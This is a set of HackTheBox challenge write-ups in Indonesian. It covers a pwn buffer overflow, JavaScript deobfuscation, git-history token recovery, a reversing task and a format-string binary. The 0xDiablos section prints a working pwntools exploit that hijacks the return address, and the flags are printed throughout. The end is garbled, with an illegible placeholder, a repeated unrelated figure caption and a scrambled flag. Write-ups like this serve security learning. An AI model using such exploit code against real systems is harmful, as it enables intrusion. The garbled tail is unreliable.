

You know 0xDiablos - [HackTheBox] - Very Easy

Pertama yang saya lakukan adalah checksec binarynya

```
[*] '/home/klabin/Downloads/You know 0xDiablos/vuln'
Arch:      i386-32-little
RELRO:     Partial RELRO
Stack:     No canary found
NX:        NX disabled
PIE:       No PIE (0x8048000)
RWX:       Has RWX segments
```

Bisa dilihat dari checksecnya semuanya pada off, jadi langsung saja saya analisa binarynya.

Yang kemudian saya check adalah functions yang ada pada binary tersebut

```
gef> info functions
All defined functions:

Non-debugging symbols:
0x08049000 _init
0x08049030 printf@plt
0x08049040 gets@plt
0x08049050 fgets@plt
0x08049060 getegid@plt
0x08049070 puts@plt
0x08049080 exit@plt
0x08049090 __libc_start_main@plt
0x080490a0 setvbuf@plt
0x080490b0 fopen@plt
0x080490c0 setresgid@plt
0x080490d0 _start
0x08049110 _dl_relocate_static_pie
0x08049120 __x86.get_pc_thunk.bx
0x08049130 deregister_tm_clones
0x08049170 register_tm_clones
0x080491b0 __do_global_ctors_aux
0x080491e0 frame_dummy
0x080491e2 flag
0x08049272 vuln
0x080492b1 main
0x08049330 __libc_csu_init
0x08049390 __libc_csu_fini
0x08049391 __x86.get_pc_thunk.bp
0x08049398 _fini
```

Function flag memikat perhatian saya, karena ada kata “flag” :D, langsung saya disas aja functionnya untuk melihat ada apa isinya

```

0x08049238 <+86>:    push    0x40
0x0804923a <+88>:    lea     eax,[ebp-0x4c]
0x0804923d <+91>:    push    eax
0x0804923e <+92>:    call   0x8049050 <fgets@plt>
0x08049243 <+97>:    add     esp,0x10
0x08049246 <+100>:   cmp     DWORD PTR [ebp+0x8],0xdeadbeef
0x0804924d <+107>:   jne     0x8049269 <flag+135>
0x0804924f <+109>:   cmp     DWORD PTR [ebp+0xc],0xc0ded00d
0x08049256 <+116>:   jne     0x804926c <flag+138>
0x08049258 <+118>:   sub     esp,0xc
0x0804925b <+121>:   lea     eax,[ebp-0x4c]
0x0804925e <+124>:   push    eax
0x0804925f <+125>:   call   0x8049030 <printf@plt>
0x08049264 <+130>:   add     esp,0x10
0x08049267 <+133>:   jmp     0x804926d <flag+139>

```

Disini functionnya membutuhkan 2 input param untuk melakukan print flagnya.

Kemudian saya mencari offsetnya

```

gef> pattern offset $esp
[+] Searching for '$esp'
[+] Found at offset 192 (little-endian search) likely

```

Dengan semua informasi yang saya miliki, sekarang saya sudah bisa membuat payloadnya.

Notes:

1. Dikarenakan binarynya itu 32 bit jadi di -4 buat stack alignment (cmiiw)

```

GNU nano 6.4
from pwn import *

r = process("./vuln")
r.recv()

bof = 192 - 4
payload = b'a' * bof

#address flag
payload += p32(0x080491e2)

payload += b'a' * 4

payload += p32(0xdeadbeef)

payload += p32(0xc0ded00d)

r.sendline(payload)
r.interactive()

```

Kemudian ketika di run ke spill flagnya

```

(klabin@klabin)-[~/Downloads/You know 0xDiablos]
$ python3 0xdiablos.py
[+] Opening connection to 134.209.176.83 on port 32249: Done
[*] Switching to interactive mode
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
\xd0\xde\xc0aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa\x02\x9aaaaa\xde
HTB{0ur_Buff3r_1s_not_healthy}$
$


```

Canvas - [HackTheBox] - Easy

```
<> dashboard.html ✕  
<> dashboard.html  
1 HTB{🧑}
```

HTB { 🧑 }

Sekian terima kasih



The image shows a notification screen from HackTheBox. At the top, there's a green particle effect background with a puzzle piece icon in a dark circle. Below this, the text "Canvas has been Pwned!" is displayed in white. Underneath, a congratulatory message says "Congratulations 🧑 Klabin, best of luck in capturing flags ahead!". At the bottom, there's a table with three columns: Challenge Rank, Pwn Date, and Points Earned.

CHALLENGE RANK	PWN DATE	POINTS EARNED
#8252	03 Jun 2023	10

Diawal saya juga mengira flagnya cuma tinggal kita copy, tetapi ternyata tidak bisa semudah itu :D.

Kemudian saya melakukan pengecekan pada semua file yang diberikan, dan pada file jsnya ada kejanggalan yang cukup blatant, karena... tidak bisa dibaca

```
1 var _0x4e0b=['\x74\x6f\x53\x74\x72\x69\x6e\x67','\x75\x73\x65\x72\x6e\x61\x6d\x65','\x63\x6f\x6e\x73\x6f\x6c\x65',
'\x67\x65\x74\x45\x6c\x65\x6d\x65\x6e\x74\x42\x79\x49\x64','\x6c\x6f\x67','\x62\x69\x6e\x64','\x64\x69\x73\x61\x62\x6c\x65\x64',
'\x61\x70\x70\x6c\x79','\x61\x64\x6d\x69\x6e','\x70\x72\x6f\x74\x6f\x74\x79\x70\x65',
'\x7b\x7d\x2e\x63\x6f\x6e\x73\x74\x72\x75\x63\x74\x6f\x72\x28\x22\x72\x65\x74\x75\x72\x6e\x20\x74\x68\x69\x73\x22\x29\x28\x20\x29',
'\x20\x61\x74\x74\x65\x6d\x70\x74\x3b','\x76\x61\x6c\x75\x65','\x63\x6f\x6e\x73\x74\x72\x75\x63\x74\x6f\x72',
'\x59\x6f\x75\x20\x68\x61\x76\x65\x20\x6c\x65\x66\x74\x20','\x74\x72\x61\x63\x65',
'\x72\x65\x74\x75\x72\x6e\x20\x2f\x22\x20\x74\x68\x69\x73\x20\x2b\x20\x22\x2f','\x74\x61\x62\x6c\x65','\x6c\x65\x6e\x67\x74\x68',
'\x5f\x5f\x70\x72\x6f\x74\x6f\x5f\x5f','\x65\x72\x72\x6f\x72','\x4c\x6f\x67\x69\x6e\x20\x73\x75\x63\x63\x65\x73\x73\x66\x75\x6c\x6c\x79'];
(function(_0x173c04,_0x4e0b6e){var _0x20fedb=function(_0x2548ec){while(--_0x2548ec){_0x173c04['_\x70\x75\x73\x68'](_0x173c04
['_\x73\x68\x69\x66\x74']());}},_0x544f36=function(){var _0x4c641a=['\x64\x61\x74\x61':{'\x6b\x65\x79':{'\x63\x6f\x6f\x6b\x69\x65',
'\x76\x61\x6c\x75\x65':{'\x74\x69\x6d\x65\x6f\x75\x74'},'\x73\x65\x74\x43\x6f\x6f\x6b\x69\x65':function(_0x35c856,_0x13e7c5,_0x58186,
_0xf5e7a4){_0xf5e7a4=_0xf5e7a4||{};var _0x120843=_0x13e7c5+_0x3d+_0x58186,_0x3f3096=_0x0;for(var _0x159a78=_0x0,_0x1307a5=_0x35c856
['_\x6c\x65\x6e\x67\x74\x68'],_0x159a78<_0x1307a5;_0x159a78++){var _0x2316f9=_0x35c856[_0x159a78];_0x120843+='\x3b\x20'+_0x2316f9;var
_0x22cb86=_0x35c856[_0x2316f9];_0x35c856['_\x70\x75\x73\x68'](_0x22cb86),_0x1307a5=_0x35c856['_\x6c\x65\x6e\x67\x74\x68'],_0x22cb86!=!![]&&
(_0x120843+='\x3d'+_0x22cb86);}_0xf5e7a4['_\x63\x6f\x6f\x6b\x69\x65']=_0x120843;},
'\x72\x65\x6d\x6f\x76\x65\x6f\x6f\x6b\x69\x65':function(){return'\x64\x65\x76';},'\x67\x65\x74\x43\x6f\x6f\x6b\x69\x65':function
(_0x589958,_0x2bfede){_0x589958=_0x589958||function(_0x168695){return_0x168695;};var _0x4b3aae=_0x589958(new RegExp
('\x28\x3f\x3a\x5e\x7c\x3b\x5d\x2a\x29')),_0x43e750=function(_0x387366,_0x8c72e7){_0x387366(++_0x8c72e7);};return_0x43e750(_0x20fedb,
_0x4e0b6e),_0x4b3aae.decodeURIComponent(_0x4b3aae[_0x1]):undefined;},_0x1d30b3=function(){var _0x23ed4e=new RegExp
('\x5c\x77\x2b\x20\x2a\x5c\x28\x7b\x5c\x77\x2b\x20\x2a\x5b\x27\x7c\x22\x5d\x2e\x2b\x5b\x27\x7c\x22\x5d\x3b\x3f\x20\x2a\x7d
');return_0x23ed4e['_\x74\x65\x73\x74'](_0x4c641a['_\x72\x65\x6d\x6f\x76\x65\x43\x6f\x6f\x6b\x69\x65']['_\x74\x6f\x53\x74\x72\x69\x6e\x67']
());};_0x4c641a['_\x75\x70\x64\x61\x74\x65\x43\x6f\x6f\x6b\x69\x65']=_0x1d30b3;var _0x488f18='';var _0x4ac08e=_0x4c641a
['_\x75\x70\x64\x61\x74\x65\x43\x6f\x6f\x6b\x69\x65']();if(!_0x4ac08e)_0x4c641a['_\x73\x65\x74\x43\x6f\x6f\x6b\x69\x65'](['\x2a'],
'\x63\x6f\x75\x6e\x74\x65\x72',_0x1);else _0x4ac08e?_0x488f18=_0x4c641a['_\x67\x65\x74\x43\x6f\x6f\x6b\x69\x65'](null,
'\x63\x6f\x75\x6e\x74\x65\x72'):_0x4c641a['_\x72\x65\x6d\x6f\x76\x65\x43\x6f\x6f\x6b\x69\x65']();_0x544f36());(_0x4e0b,_0x182);var
_0x20fe=function(_0x173c04,_0x4e0b6e){_0x173c04=_0x173c04-0x0;var _0x20fedb=_0x4e0b[_0x173c04];return_0x20fedb;};var _0x35c856=function(){
var _0x58186=!![];return function(_0xf5e7a4,_0x120843){var _0x3f3096=_0x58186;function(){var _0x228e0e=_0x20fe;if(_0x120843){var
_0x159a78=_0x120843[_0x228e0e('\x30\x78\x31\x31')]}(_0xf5e7a4,arguments);return_0x120843=null,_0x159a78;};function(){return_0x58186=!
[],_0x3f3096;};}_0x4ac08e=_0x35c856(this,function(){var _0x257462=_0x20fe,_0x2316f9=_0x1307a5,_0x257462
```

Obfuscate merupakan sebuah cara untuk membuat data menjadi sulit untuk dibaca tetapi memiliki functionality yang tidak terganggu gugat. Diatas merupakan salah satu bentuk dari java script yang di obfuscate. Bagaimana cara untuk me reverse effect ini? Saya menggunakan JS Deobfuscator yang disediakan oleh dcode.fr



JAVASCRIPT UNOBFUSCATOR
Informatics > Programming Language > Javascript Unobfuscator

JAVASCRIPT DEOBFUSCATOR / DECODER

★ JAVASCRIPT CODE (WITHOUT SCRIPT TAG) TO TURN NATIVE

```
_0x20fe=function(_0x173c04,_0x4e0b6e){
  _0x173c04=_0x173c04-0x0;var
  _0x20fedb=_0x4e0b[_0x173c04];return_0x20fedb;};var
_0x35c856=function(){var _0x58186=!![];return
function(_0xf5e7a4,_0x120843){var _0x3f3096=_0x58186;
function(){var _0x228e0e=_0x20fe;if(_0x120843){var
_0x159a78=_0x120843[_0x228e0e('\x30\x78\x31\x31')]
}(_0xf5e7a4,arguments);return
_0x120843=null,_0x159a78;};function(){return_0x58186=!
```

► MAKE READABLE/NATIVE

See also: JSFuck Language [!(?![+])] – URL Decoder – Brainfuck

Answers to Questions (FAQ)

What is Javascript obfuscation? (Definition)

Obfuscation is to turn JS language native syntax into a human unreadable code (or very difficult to understand). This work is done by Javascript Obfuscators that minify/compress the original code. This is a way to protect the code so that it is difficult to reverse engineer. It's also a game to write source code with unreadable and unnatural syntax.

The techniques use **ASCII codes** (to replace characters with letters), changing names of variables by short non-defined names, overcoding such as **base64**, and so on.

What is Javascript Deobfuscation?

```
var res = String["fromCharCode"](72, 84, 66,  
123, 87, 51, 76, 99, 48, 109, 51, 95, 55, 48,  
95, 74, 52, 86, 52, 53, 67, 82, 49, 112, 55,  
95, 100, 51, 48, 98, 70, 117, 53, 67, 52, 55,  
49, 48, 78, 125, 10);
```

Kemudian setelah di deobfuscate saya melihat ada var yang sus, saya masukin saja ke cyber chef untuk di decypher

Input

72 84 66 123 87 51 76 99 48 109 51 95 55 48 95 74 52 86 52 53 67 82 49 112 55 95 100 51 48 98 70 117 53 67 52 55 49 48 78 125 10

abc 128 1

Raw Bytes


LF

Output


HTB{w3Lc0m3_70_J4V45CR1p7_d30bFu5C4710N}

Dan berikut flagnya ketemu.

Illumination - Forensic - Easy



1. Disini langsung aja kita download dan extract filenya lalu kita pindah directory menggunakan cd (change directory) ke Downloads > Illumination.JS
2. Kalau sudah, kita lihat apa saja yang ada di dalam folder Illumination.JS. Pertama saya menggunakan ls tapi untuk lebih yakin tidak ada file yang tertinggal, saya menggunakan ls -la untuk menampilkan semua file direktori yang ada di folder tersebut. Seperti gambar di bawah, terlihat di dalamnya ada bot.js, config.json, dan .git



3. Disini saya langsung mencoba membuka .git dan melihat isinya. Dari semua isinya, saya tertarik dengan logs, mungkin saja ada yang pernah ditambahkan atau dihapus di dalam direktori.

```
File Actions Edit View Help

(kali@kali)-[~/Downloads/Illumination.JS]
$ cd .git

(kali@kali)-[~/Downloads/Illumination.JS/.git]
$ ls -la
total 52
drwx----- 7 kali kali 4096 May 30 2019 .
drwx----- 3 kali kali 4096 May 30 2019 ..
-rw-r--r-- 1 kali kali 795 May 30 2019 COMMIT_EDITMSG
-rw-r--r-- 1 kali kali 130 May 30 2019 config
-rw-r--r-- 1 kali kali 73 May 30 2019 description
-rw-r--r-- 1 kali kali 23 May 30 2019 HEAD
drwx----- 2 kali kali 4096 May 30 2019 hooks
-rw-r--r-- 1 kali kali 217 May 30 2019 index
drwx----- 2 kali kali 4096 May 30 2019 info
drwx----- 3 kali kali 4096 May 30 2019 logs
drwx----- 29 kali kali 4096 May 30 2019 objects
-rw-r--r-- 1 kali kali 41 May 30 2019 ORIG_HEAD
drwx----- 4 kali kali 4096 May 30 2019 refs

(kali@kali)-[~/Downloads/Illumination.JS/.git]
$
```

4. Setelah dibuka logsnya, terdapat direktori lain, jadi saya membukanya sampai akhir dan menemukan tulisan seperti di bawah. Tulisan tersebut ternyata memang log dan memang agak membingungkan, namun di dalamnya terdapat beberapa pesan seperti:

“Moving to Git, first time using it. First Commit!”

“Added some more comments for the lovely contributors! Thanks for helping out!”

“Thanks to contributors, I removed the unique token as it was a security risk. Thanks for reporting responsibly!”

“Added some whitespace for readability!”

Dari keempat pesan tersebut, ada sebuah pesan yang menyatakan penghapusan “unique token”. Jadi saya berpikir mungkin saja pesan tersebut akan menjadi sebuah informasi juga.


```
File Actions Edit View Help
(kali@kali) ~/Downloads/ILlumination.JS/.git/logs
$ ls -la
total 20
drwxr-xr-x 3 kali kali 4096 May 30 2019 .
drwxr-xr-x 7 kali kali 4096 May 30 2019 ..
-rw-r--r-- 1 kali kali 5189 May 30 2019 HEAD
drwxr-xr-x 3 kali kali 4096 May 30 2019 refs

(kali@kali) ~/Downloads/ILlumination.JS/.git/logs
$ cd refs

(kali@kali) ~/Downloads/ILlumination.JS/.git/logs/refs
$ ls -la
total 12
drwxr-xr-x 3 kali kali 4096 May 30 2019 .
drwxr-xr-x 3 kali kali 4096 May 30 2019 ..
drwxr-xr-x 2 kali kali 4096 May 30 2019 heads

(kali@kali) ~/Downloads/ILlumination.JS/.git/logs/refs
$ cd heads

(kali@kali) ~/Downloads/ILlumination.JS/.git/logs/refs/heads
$ ls -la
total 12
drwxr-xr-x 2 kali kali 4096 May 30 2019 .
drwxr-xr-x 3 kali kali 4096 May 30 2019 ..
-rw-r--r-- 1 kali kali 1862 May 30 2019 master

(kali@kali) ~/Downloads/ILlumination.JS/.git/logs/refs/heads
$ cat master
0000000000000000000000000000000000000000 1ccf7af8de496b9f53ffe7f22134b490e6008f7 Dan <dan@sherlock-security.com> 1559250962 +0100
1ccf7af8de496b9f53ffe7f22134b490e6008f7 c9e94d1a85cd5db6fe95b9f4b1953ffb328e6780 Dan <dan@sherlock-security.com> 1559251136 +0100
elping out!
c9e94d1a85cd5db6fe95b9f4b1953ffb328e6780 441981f5e5eb82cccd5657c3ef77d643eb42da1 Dan <dan@sherlock-security.com> 1559251408 +0100
urity risk. Thanks for reporting responsibly!
441981f5e5eb82cccd5657c3ef77d643eb42da1 8fcfb2c7335186c59bb10b506a532273f9abbca1 Dan <dan@sherlock-security.com> 1559251946 +0100
6e6008f7
8fcfb2c7335186c59bb10b506a532273f9abbca1 3359900ad3025d26017d22030aa6f3e4cc9b7773 Dan <dan@sherlock-security.com> 1559252139 +0100
20ebfc910
3359900ad3025d26017d22030aa6f3e4cc9b7773 4817be4151d69dfaf8e30d39f11306dd15c94ddad Dan <dan@sherlock-security.com> 1559252320 +0100
4817be4151d69dfaf8e30d39f11306dd15c94ddad ae162727e0d4f50bc430b2c747be9e686d8316a6 Dan <dan@sherlock-security.com> 1559252360 +0100
ae162727e0d4f50bc430b2c747be9e686d8316a6 b6771e1508934b4c5dac0c905be06f1f8cae155 Dan <dan@sherlock-security.com> 1559252371 +0100
b6771e1508934b4c5dac0c905be06f1f8cae155 edc5aabf933f6bb161cecaecf7d0d2160ce333ec Dan <dan@sherlock-security.com> 1559252432 +0100
7dd527381

(kali@kali) ~/Downloads/ILlumination.JS/.git/logs/refs/heads
$
```

5. Karna sebelumnya kita sudah melihat isi direktori refs, sekarang kita lihat direktori HEAD dan ternyata isinya lebih panjang, namun intinya sama saja.

```
File Actions Edit View Help
(kali@kali) ~/Downloads/ILlumination.JS/.git/logs
$ ls -la
total 20
drwxr-xr-x 3 kali kali 4096 May 30 2019 .
drwxr-xr-x 7 kali kali 4096 May 30 2019 ..
-rw-r--r-- 1 kali kali 5189 May 30 2019 HEAD
drwxr-xr-x 3 kali kali 4096 May 30 2019 refs

(kali@kali) ~/Downloads/ILlumination.JS/.git/logs
$ cd HEAD

(kali@kali) ~/Downloads/ILlumination.JS/.git/logs/HEAD
$ cat HEAD
0000000000000000000000000000000000000000 1ccf7af8de496b9f53ffe7f22134b490e6008f7 Dan <dan@sherlock-security.com> 1559250962 +0100
1ccf7af8de496b9f53ffe7f22134b490e6008f7 c9e94d1a85cd5db6fe95b9f4b1953ffb328e6780 Dan <dan@sherlock-security.com> 1559251136 +0100
elping out!
c9e94d1a85cd5db6fe95b9f4b1953ffb328e6780 441981f5e5eb82cccd5657c3ef77d643eb42da1 Dan <dan@sherlock-security.com> 1559251408 +0100
urity risk. Thanks for reporting responsibly!
441981f5e5eb82cccd5657c3ef77d643eb42da1 1ccf7af8de496b9f53ffe7f22134b490e6008f7 Dan <dan@sherlock-security.com> 1559251791 +0100
1ccf7af8de496b9f53ffe7f22134b490e6008f7 c9e94d1a85cd5db6fe95b9f4b1953ffb328e6780 Dan <dan@sherlock-security.com> 1559251791 +0100
c9e94d1a85cd5db6fe95b9f4b1953ffb328e6780 957944d2d2527eb97c7344413d5de0750603799 Dan <dan@sherlock-security.com> 1559251860 +0100
ks for helping out!
957944d2d2527eb97c7344413d5de0750603799 2aff779e868217debc0d497530f3089f46e9d9 Dan <dan@sherlock-security.com> 1559251890 +0100
was a security risk. Thanks for reporting responsibly!
2aff779e868217debc0d497530f3089f46e9d9 8fcfb2c7335186c59bb10b506a532273f9abbca1 Dan <dan@sherlock-security.com> 1559251932 +0100
as a security risk. Thanks for reporting responsibly!
8fcfb2c7335186c59bb10b506a532273f9abbca1 1ccf7af8de496b9f53ffe7f22134b490e6008f7 Dan <dan@sherlock-security.com> 1559251946 +0100
8fcfb2c7335186c59bb10b506a532273f9abbca1 775cd615faecf7b2edf9d31e08042920ebfc910 Dan <dan@sherlock-security.com> 1559252020 +0100
775cd615faecf7b2edf9d31e08042920ebfc910 1ccf7af8de496b9f53ffe7f22134b490e6008f7 Dan <dan@sherlock-security.com> 1559252020 +0100
1ccf7af8de496b9f53ffe7f22134b490e6008f7 335dc6fe3cdc25b89cae81c50ff9b957b86bf544a Dan <dan@sherlock-security.com> 1559252110 +0100
335dc6fe3cdc25b89cae81c50ff9b957b86bf544a 133226d84d7bcc83cf9bd68dd0d0d8a52641df64 Dan <dan@sherlock-security.com> 1559252124 +0100
nks for helping out!
133226d84d7bcc83cf9bd68dd0d0d8a52641df64 ddc006f8fa05c363ea4de20f31834e97dd527381 Dan <dan@sherlock-security.com> 1559252125 +0100
ks for helping out!
ddc006f8fa05c363ea4de20f31834e97dd527381 cd3dd6ffaf1aa9f25be88ed90220657b4cf8a45 Dan <dan@sherlock-security.com> 1559252130 +0100
was a security risk. Thanks for reporting responsibly!
cd3dd6ffaf1aa9f25be88ed90220657b4cf8a45 3359900ad3025d26017d22030aa6f3e4cc9b7773 Dan <dan@sherlock-security.com> 1559252131 +0100
as a security risk. Thanks for reporting responsibly!
3359900ad3025d26017d22030aa6f3e4cc9b7773 3359900ad3025d26017d22030aa6f3e4cc9b7773 Dan <dan@sherlock-security.com> 1559252139 +0100
3359900ad3025d26017d22030aa6f3e4cc9b7773 4817be4151d69dfaf8e30d39f11306dd15c94ddad Dan <dan@sherlock-security.com> 1559252320 +0100
4817be4151d69dfaf8e30d39f11306dd15c94ddad ae162727e0d4f50bc430b2c747be9e686d8316a6 Dan <dan@sherlock-security.com> 1559252360 +0100
ae162727e0d4f50bc430b2c747be9e686d8316a6 b6771e1508934b4c5dac0c905be06f1f8cae155 Dan <dan@sherlock-security.com> 1559252371 +0100
b6771e1508934b4c5dac0c905be06f1f8cae155 ddc006f8fa05c363ea4de20f31834e97dd527381 Dan <dan@sherlock-security.com> 1559252410 +0100
ddc006f8fa05c363ea4de20f31834e97dd527381 3359900ad3025d26017d22030aa6f3e4cc9b7773 Dan <dan@sherlock-security.com> 1559252410 +0100
3359900ad3025d26017d22030aa6f3e4cc9b7773 47241aa7f62da864ec74bd6dedcd433f4374699 Dan <dan@sherlock-security.com> 1559252424 +0100
as a security risk. Thanks for reporting responsibly!
47241aa7f62da864ec74bd6dedcd433f4374699 edc5aabf933f6bb161cecaecf7d0d2160ce333ec Dan <dan@sherlock-security.com> 1559252432 +0100
edc5aabf933f6bb161cecaecf7d0d2160ce333ec ddc006f8fa05c363ea4de20f31834e97dd527381 Dan <dan@sherlock-security.com> 1559252432 +0100
ddc006f8fa05c363ea4de20f31834e97dd527381

(kali@kali) ~/Downloads/ILlumination.JS/.git/logs
$
```

6. Karna saya tidak menemukan petunjuk lain dari logs, saya berpikir kembali apakah ada command yang dapat memunculkan logs dalam git? Dan setelah saya cari, jawabannya adalah Ya, ada dan command tersebut adalah “git log”.

7. Kalau begitu mari kita coba dua dan WOW command tersebut berhasil! Tapi tak cukup sampai disitu, kita masih harus mengetahui isi dari commit-commit yang dilakukan. Jadi saya mencari tahu bagaimana cara menampilkan isi dari logs yang sudah dilakukan.

```

(kali㉿kali)-[~/Downloads/Illumination.JS/.git/logs]
$ git log
commit edc5aabf933f6bb161ceca6cf7d0d2160ce333ec (HEAD -> master)
Author: SherlockSec <dan@lights.htb>
Date:   Fri May 31 14:16:43 2019 +0100

    Added some whitespace for readability!

commit 47241a47f62ada864ec74bd6dedc4d33f4374699
Author: SherlockSec <dan@lights.htb>
Date:   Fri May 31 12:00:54 2019 +0100

    Thanks to contributors, I removed the unique token as it was a security risk. Thanks for reporting responsibly!

commit ddc606f8fa05c363ea4de20f31834e97dd527381
Author: SherlockSec <dan@lights.htb>
Date:   Fri May 31 09:14:04 2019 +0100

    Added some more comments for the lovely contributors! Thanks for helping out!

commit 335d6cfe3cdc25b89cae81c50ffb957b86bf5a4a
Author: SherlockSec <dan@lights.htb>
Date:   Thu May 30 22:16:02 2019 +0100

    Moving to Git, first time using it. First Commit!

```

8. Kali ini saya menemukan command “git show [commit id]” untuk menampilkan isi dari lognya, dan setelah dicoba dengan commit id yang memiliki pesan penghapusan token, tampilannya akan seperti gambar di bawah.

```

(kali㉿kali)-[~/Downloads/Illumination.JS/.git/logs]
$ git show 47241a47f62ada864ec74bd6dedc4d33f4374699
commit 47241a47f62ada864ec74bd6dedc4d33f4374699
Author: SherlockSec <dan@lights.htb>
Date:   Fri May 31 12:00:54 2019 +0100

    Thanks to contributors, I removed the unique token as it was a security risk. Thanks for reporting responsibly!

diff --git a/config.json b/config.json
index 316dc21..6735aa6 100644
--- a/config.json
+++ b/config.json
@@ -1,6 +1,6 @@
 {
-    "token": "SFRce3YzcnNpMG5FYzBudHIwbF9hbV9JX3JpZ2h0P30=",
+    "token": "Replace me with token when in use! Security Risk!",
     "prefix": "~",
     "lightNum": "1337",
     "username": "UmVklEhlcnJpbmcsIHJlYWQgdGhllEpTlGNhcmVmdWxseQ==",

```

9. Disini terlihat token yang dihapus berwarna merah dan sepertinya merupakan base64, jadi mari kita coba saja untuk decrypt token tersebut di cyberchef.
10. BINGO! Kita temukan flagnya!!

Download CyberChef [Download](#) Last build: 2 months ago - Version 10 is here! Read about the new features [here](#) Options [About / Support](#) [?](#)

Operations

Search...

Favourites ★

To Base64

From Base64

To Hex

From Hex

To Hexdump

From Hexdump

URL Decode

Regular expression

Entropy

Fork

Magic

Data format

Encryption / Encoding

Public Key


Arithmetic / Logic

Recipe

From Base64

Alphabet
A-Za-z0-9+/=

☒ Remove non-alphabet chars ☐ Strict mode

STEP  **BAKE!** ☒ Auto Bake

Input

SFRce3Yzcmltp%G5fYzBudHIwbF9hbV9JX3JpZ2h0P30=

Output

HTB{v3rsi0n_c0ntr0l_am_I_right?}

FLAG: HTB{v3rsi0n_c0ntr0l_am_I_right?}

Behind The Scene - Rev - Very Easy

The screenshot shows the 'Behind the Scenes' challenge page, which is marked as 'VERY EASY'. The page features a sidebar with navigation options: 'Download Files', 'Submit Flag', 'Add To-Do List', 'Review Challenge', and 'Forum Thread'. The main content area includes a 'CHALLENGE DESCRIPTION' stating that the goal is to make decompilation harder. It also displays a '4.9' challenge rating, '7206' user solves, and the category 'Reversing'. The challenge was released '449 Days' ago and was created by 'Leeky'. A 'SHARE RESULTS' button is located in the top right corner.

```
(kali㉿kali)-[~]
$ cd Downloads

(kali㉿kali)-[~/Downloads]
$ cd rev_behindthescenes

(kali㉿kali)-[~/Downloads/rev_behindthescenes]
$ ls -la
total 28
drwxr-xr-x  2 kali kali  4096 Mar  8  2022 .
drwxr-xr-x 14 kali kali  4096 Jun  4 07:00 ..
-rwxr-xr-x  1 kali kali 17064 Mar  8  2022 behindthescenes

(kali㉿kali)-[~/Downloads/rev_behindthescenes]
$ ./behindthescenes
./challenge <password>
```

1. Setelah diextract, saya langsung memasuki direktori dan melihat isinya. Ternyata terdapat 1 file dan ketika diexecute tidak muncul apa-apa selain “./challenge <password>”
2. Jadi saya mencoba melihat codenya dengan command “cat” dan tidak sengaja menemukan flagnya.

Racecar - PWN - Easy


The screenshot shows the Hackthebox interface for the 'racecar' challenge. The challenge is categorized as 'Pwn' and has a difficulty rating of 4.6. It was released 659 days ago and has been solved by 6681 users. The challenge description asks the user to win a race by knowing that 'racecar' spelled backwards is 'racecar'. The interface includes tabs for INFORMATION, ACTIVITY, CHANGELOG, REVIEWS, and WALKTHROUGHS. On the left, there are options to 'Stop Instance', 'Download Files', 'Submit Flag', and 'Add To-Do List'. The challenge creator is 'w3th4nds'.

1. Setelah mendownload dan mengekstrak filenya, saya langsung memeriksa file menggunakan checksec dan ditemukan semuanya enabled yang dapat dikatakan hampir tidak bercelah.

```
(kali@kali)-[~/Downloads]
$ checksec --file=racecar
RELRO      STACK Canary
Full RELRO  Canary found
NX          PIE      RPATH    RUNPATH  Symbols  FORTIFY Fortified Fortifiable FILE
NX enabled  PIE enabled No RPATH No RUNPATH 96 Symbols No 0 3 racecar
```

2. Lalu saya langsung mencoba menjalankan file tersebut dan hasilnya seperti gambar dibawah. [next page]

3. Karena dirasa tidak mendapatkan informasi yang cukup dari sebelumnya, jadi saya membuka ghidra untuk melihat dan menganalisis codenya lebih lanjut. Gambar di bawah merupakan function main, dari sini saya mencoba membuka bagian info(), car_info(), dan car_menu()).



```
1 2 /* WARNING: Function: __x86.get_pc_thunk.bx replaced with injection: get_pc_thunk_bx */
3
4 void main(void)
5 {
6     int iVar1;
7     int iVar2;
8     int in GS_OFFSET;
9
10     iVar1 = *(int *)(in GS_OFFSET + 0x14);
11     setup();
12     banner();
13     info();
14     while (check != 0) {
15         iVar2 = menu();
16         if (iVar2 == 1) {
17             car_info();
18         }
19         else if (iVar2 == 2) {
20             check = 0;
21             car_menu();
22         }
23         else {
24             printf("\n%s[-] Invalid choice!\n", DAT_00011548, DAT_00011538);
25         }
26     }
27     if (iVar1 != *(int *)(in GS_OFFSET + 0x14)) {
28         __stack_chk_fail_local();
29     }
30     return;
31 }
32
33
```

4. Setelah dicek, ternyata pada bagian car_menu() memiliki code yang menarik perhatian saya (yang di kotak merah).


```

C:\Decompile: car_menu - (racecar)
56 if (sVar4 <= local_54) break;
57 putchar((int)"\n[*] Waiting for the race to finish..."[local_54]);
58 if ("*\n[*] Waiting for the race to finish..."[local_54] == '.') {
59     sleep(0);
60 }
61 local_54 = local_54 + 1;
62 }
63 if (((iVar1 == 1) && (iVar2 < iVar3)) || ((iVar1 == 2 && (iVar3 < iVar2)))) {
64     printf("%s\n\n[*] You won the race!! You get 100 coins!\n", &DAT_00011540);
65     coins = coins + 100;
66     puVar5 = &DAT_00011538;
67     printf("[*+] Current coins: [%d]%\n", coins, &DAT_00011538);
68     printf("\n!! Do you have anything to say to the press after your big victory?\n> %s",
69         &DAT_000119de);
70     __format = (char *)malloc(369);
71     __stream = fopen("flag.txt", "r");
72     if (__stream == (FILE *)0x0) {
73         printf("%s[-] Could not open flag.txt. Please contact the creator.\n", &DAT_00011548, puVar5);
74         /* WARNING: Subroutine does not return */
75         exit(0x69);
76     }
77     fgets(local_5c, 0x2c, __stream);
78     read(0, __format, 368);
79     puts(
80         "\n\x1b[3mThe Man, the Myth, the Legend! The grand winner of the race wants the whole world
            to know this: \x1b[0m"
81         );
82     printf(__format);
83 }
84 else if (((iVar1 == 1) && (iVar3 < iVar2)) || ((iVar1 == 2 && (iVar2 < iVar3)))) {
85     printf("%s\n\n[-] You lost the race and all your coins!\n", &DAT_00011548);
86     coins = 0;
87     printf("[*+] Current coins: [%d]%\n", 0, &DAT_00011538);
88 }
89 if (local_10 != *(int *) (in_GS_OFFSET + 0x14)) {
90     __stack_chk_fail_local();
91 }
92 return;
93 }
94

```

This image is a solid black rectangle with no visible features or details.

[illegible]

Biar ga usah scroll lagi, ini hasilnya: {BTH_yhw_d1d4s_1t_3v

Figure 1. The effect of the number of trials on the number of correct responses. The number of correct responses was significantly higher than the number of incorrect responses for all conditions. The number of correct responses was significantly higher than the number of incorrect responses for all conditions. The number of correct responses was significantly higher than the number of incorrect responses for all conditions.

Hex to ASCII Text String Converter

